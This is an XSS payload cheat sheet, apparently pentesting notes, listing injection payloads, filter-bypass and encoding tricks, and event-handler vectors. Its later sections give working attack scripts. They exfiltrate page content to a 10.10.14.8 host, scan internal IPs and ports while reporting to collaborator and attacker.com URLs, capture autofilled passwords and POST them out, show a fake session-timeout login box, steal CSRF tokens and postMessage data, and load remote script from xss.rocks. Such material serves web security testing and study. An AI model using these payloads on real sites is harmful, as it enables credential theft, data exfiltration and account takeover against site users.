# XSS (Cross Site Scripting)
**Web Content-Types to XSS**

The following content types can execute XSS in all browsers:
* `text/html`
* `application/xhtml+xml`
* `application/xml`
* `text/xml`
* `image/svg+xml`
* `text/plain` (?? not in the list but I think I saw this in a CTF)
* `application/rss+xml` (off)
* `application/atom+xml` (off)

In other browsers other Content-Types can be used to execute arbitrary JS, check:

https://github.com/BlackFan/content-type-research/blob/master/XSS.md

**xml Content Type**

If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS
```javascript
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

-----
**Injecting inside raw HTML**

```javascript

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

```
**Blacklist Bypasses**

```javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

```
**Length bypass (small XSSs)**

```javascript

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

```
**Injecting inside HTML tag**

```javascript
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

//Style events
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
**Bypass inside event using HTML encoding/URL encode**
```javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

//Note that URL encode will also work
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

//Bypass inside event using Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

```
**Special Protocols Within the attribute**

There you can use the protocols javascript: or data: in some places to execute arbitrary JS code. Some will require user interaction on some won't.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line 
script:alert(1)

```

**Places where you can inject these protocols**
```javascript
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>

<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf 
<iframe srcdoc="<svg onload=alert(4);>">

```
**Other obfuscation tricks**
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

```

**Reverse tab nabbing**

If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes
```javascript

<a target="_blank" rel="opener"

```

**on Event Handlers Bypass**
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

```
**XSS in "Unexploitable tags" (hidden input, link, canonical, meta)**
```javascript
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

//And in meta tags
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>


//You can execute an XSS payload inside a hidden attribute, provided you can persuade the victim into pressing the key combination. On Firefox Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X. You can specify a different key combination using a different key in the access key attribute. Here is the vector
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Inside JS code**

If <> are being sanitised you can still escape the string where your input is being located and execute arbitrary JS. It's important to fix JS syntax, because if there are any errors, the JS code won't be executed
```javascript
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

```
**Template literals ``**


In order to construct strings apart from single and double quotes JS also accepts backticks `` . This is known as template literals as they allow to embedded JS expressions using ${ ... } syntax.
Therefore, if you find that your input is being reflected inside a JS string that is using backticks, you can abuse the syntax ${ ... } to execute arbitrary JS code
```javascript
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`

// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

```
**Encoded code execution**
```javascript
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

```

**Unicode Encode JS execution**
```javascript
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

```
**Arbitrary function (alert) call**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie']) 
with(document)alert(cookie) 
(alert)(1)
(alert(1))in"."

```
**PHP FILTER_VALIDATE_EMAIL flag Bypass**
```javascript

"><svg/onload=confirm(1)>"@x.y

```
**Ruby-On-Rails bypass**

Due to RoR mass assignment quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields (onfocus) can be added inside the tag.
Form example, if you send the payload:
```javascript

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa


//The pair "Key","Value" will be echoed back like this
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

```

**Special combinations**
```javascript
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>

<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">

```

**Cross-site scripting (XSS) cheat sheet**

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet


**Special Replacement Patterns**

When something like `"some {{template}} data".replace("{{template}}", <user_input>)` is used. The attacker could use special string replacements to try to bypass some protections: **"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))**

**Steal Page Content**

```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
    }
}
xhr.open('GET', url, true);
xhr.send(null);

```

**Find internal IPs**

```javascript
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
  q.push(
  function(url){
    return function(){
        fetchUrl(url, wait);
    }
  }('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
  if(q.length) q.shift()();
}

function fetchUrl(url, wait){
    console.log(url)
  var controller = new AbortController(), signal = controller.signal;
  fetch(url, {signal}).then(r=>r.text().then(text=>
    {
        location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
    }
  ))
  .catch(e => {
  if(!String(e).includes("The user aborted a request") && q.length) {
    q.shift()();
  }
  });

  setTimeout(x=>{
  controller.abort();
  if(q.length) {
    q.shift()();
  }
  }, wait);
}
</script>

```

**Port Scanner (fetch)**

```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

```

**Port Scanner (websockets)**

```javascript
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
    var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
    s.start = performance.now();
    s.port = ports[i];
    s.onerror = function() {
        console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
    };
    s.onopen = function() {
        console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
    };
}


```

**Box to ask for credentials**

```javascript
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

```

**Auto-fill passwords capture**


```javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

```

When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.

**Keylogger**

Just searching in github I found a few different ones:
https://github.com/JohnHoder/Javascript-Keylogger
https://github.com/rajeshmajumdar/keylogger
https://github.com/hakanonymos/JavascriptKeylogger
You can also use metasploit `http_javascript_keylogger`



**Stealing CSRF tokens**

```javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/email/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

```



**Stealing PostMessage messages**

```javascript
<img src="https://attacker.com/?" id=message>
<script>
 window.onmessage = function(e){
 document.getElementById("message").src += "&"+e.data;
</script>

```

**Blind XSS payloads**

**XSS to SSRF**

Got XSS on a site that uses caching? Try upgrading that to SSRF through Edge Side Include Injection with this payload

```javascript
<esi:include src="http://yoursite.com/capture" />

```

Use it to bypass cookie restrictions, XSS filters and much more!

**XSS in dynamic created PDF**

If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code.
So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.

If you cannot inject HTML tags it could be worth it to try to inject PDF data:

**XSS uploading files (svg)**

Upload as an image a file like the following one (from : https://ghostlulz.com/xss-svg/)

```javascript

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574

```javascript
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>

```


```javascript
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
